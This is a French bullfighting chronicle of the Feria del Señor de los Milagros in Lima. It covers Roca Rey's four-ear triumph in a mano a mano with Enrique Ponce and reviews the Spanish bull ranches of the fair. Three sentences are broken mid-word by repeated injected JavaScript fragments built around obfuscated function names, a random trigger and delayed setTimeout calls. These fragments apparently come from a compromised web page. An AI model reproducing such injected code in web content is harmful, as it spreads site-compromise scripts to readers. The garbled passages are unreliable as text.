LA FERIA DU SEIGNEUR DES MIRACLES

Dimanche dernier concluait la Feria del Señor de los Milagros dans les vieilles et seigneuriales arènes de Acho. Un week-end taurin à la saveur de Lima, car après le seul contre six le samedi de Joaquín Galdós, qui avait couvert trois quarts d’arènes, devenant ainsi le spectacle qui a réussi à vendre le plus de places, on clôturait en beauté la feria le lendemain avec un mano a mano très attendu entre le nouveau coq de combat issu de cette terre, Roca Rey, et le vétéran matador Enrique Ponce, avec des gradins pratiquement combles pour être témoins de cette date qui fait désormais partie de l’histoire.

Nous prédisions la semaine dernière que Roca Rey avait de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes possibilités d’emporter le prestigieux Escapulario de Oro et nous ne nous sommes point trompés : quatre oreilles sans appel lui ont été remises. Il a été si bien, que ces arènes qui ont contemplé au cours d’un quart de millénaire tant de corridas n’ont pu éviter que les gradins et les poutres ne soient parcourus par le frisson bouleversant de l’émotion, la vraie, par l’entremise d’un fils de ce peuple qui ne se souciait point de se coller aux toros plus que quiconque ni s’ils étaient braves ou mansos, grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands ou petits, nobles ou avisés. Et réalisant ce toreo qui vient du plus profond de ses entrailles, qui nous conquiert et réunit tous.

Ce toreo adoubé par cette envie immense de se faire une place et cette volonté tenace d’arriver au but qu’il s’est fixé sans faire un pas en arrière, c’est quelque chose de trop beau pour ne pas nous rendre à lui. Que s’ouvrent les portes de tous ceux qui tiennent l’organisation de ce spectacle ! Qu’on l’engage partout ! Laissez passer le torero qui demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande sa chance avec cette sincérité, son sang, son feu, son art et sa tauromachie !

Le week-end taurin eut aussi un accent péruvien quant à l’élevage : corrida inégale de présentation et de comportement de Roberto Puga, très agréable de tête et bien présentée dans sa morphologie cette novillada de Santa Rosa de Lima. Cependant, le reste de la feria permit de déguster, comme nouveautés, des toros venus d’Espagne. Elle démarra avec la corrida de Zalduendo, avec les deux derniers toros très pauvrement armés et dans l’ensemble très justes de race et maniables, ils permirent à l’art de Morante d’éclore –une oreille-, et les triomphes de Talavante et de Adame, qui remportèrent deux oreilles chacun, même celles avec le plus de poids furent celles de l’Espagnol. Puis vint la corrida de Miura, qui ne provoqua ni la peur ni l’émotion que les aficionados attendaient, avec trois toros avec peu de graisse et presque dans le type du novillo et trois autres plus rematés. Ureña, devant le moins mauvais, remporta la seule oreille de l’après-midi. La troisième corrida fut celle de Daniel Ruiz, pas très imposante et encastée, elle permit la sortie en triomphe de Sébastien Castella et de López Simón –deux oreilles par torero- et permit à l’éleveur de remporter le Escapulario de Plata, grâce au second toro de la corrida, « Travieso », numéro 20, auquel López Simón coupa les deux oreilles. La quatrième et dernière fut celle de La Quinta, aux cornes aiguisées, mais terne de comportement, sans caste et avec peu de race, pas facile et de plus en plus avisée même si le public ne s’en rendit pas toujours compte, sauf pour le coriace toro sorti en second et auquel Juan Carlos Cuba coupa une oreille grâce à sa technique et à son savoir. Ce jour-là, ni Urdiales ni Daniel ne purent rien faire.

En résumé, si l’on y ajoute l’oreille coupée par Ponce, ce fut tout ; mais le toro d’Amérique continue de charger et la ville équatorienne de Quito ouvre ses portes pour une feria bienvenue en ce mois de décembre, un mois où dimanche prochain, dans les arènes mexicaines du Colisée Yucatan sont annoncés des toros de Campo Hermoso, avec à l’affiche Roca Rey, entouré des toreros aztèques Arturo Macías et El Payo, ce dernier ayant coupé fin novembre deux oreilles à la Monumental de Mexico.

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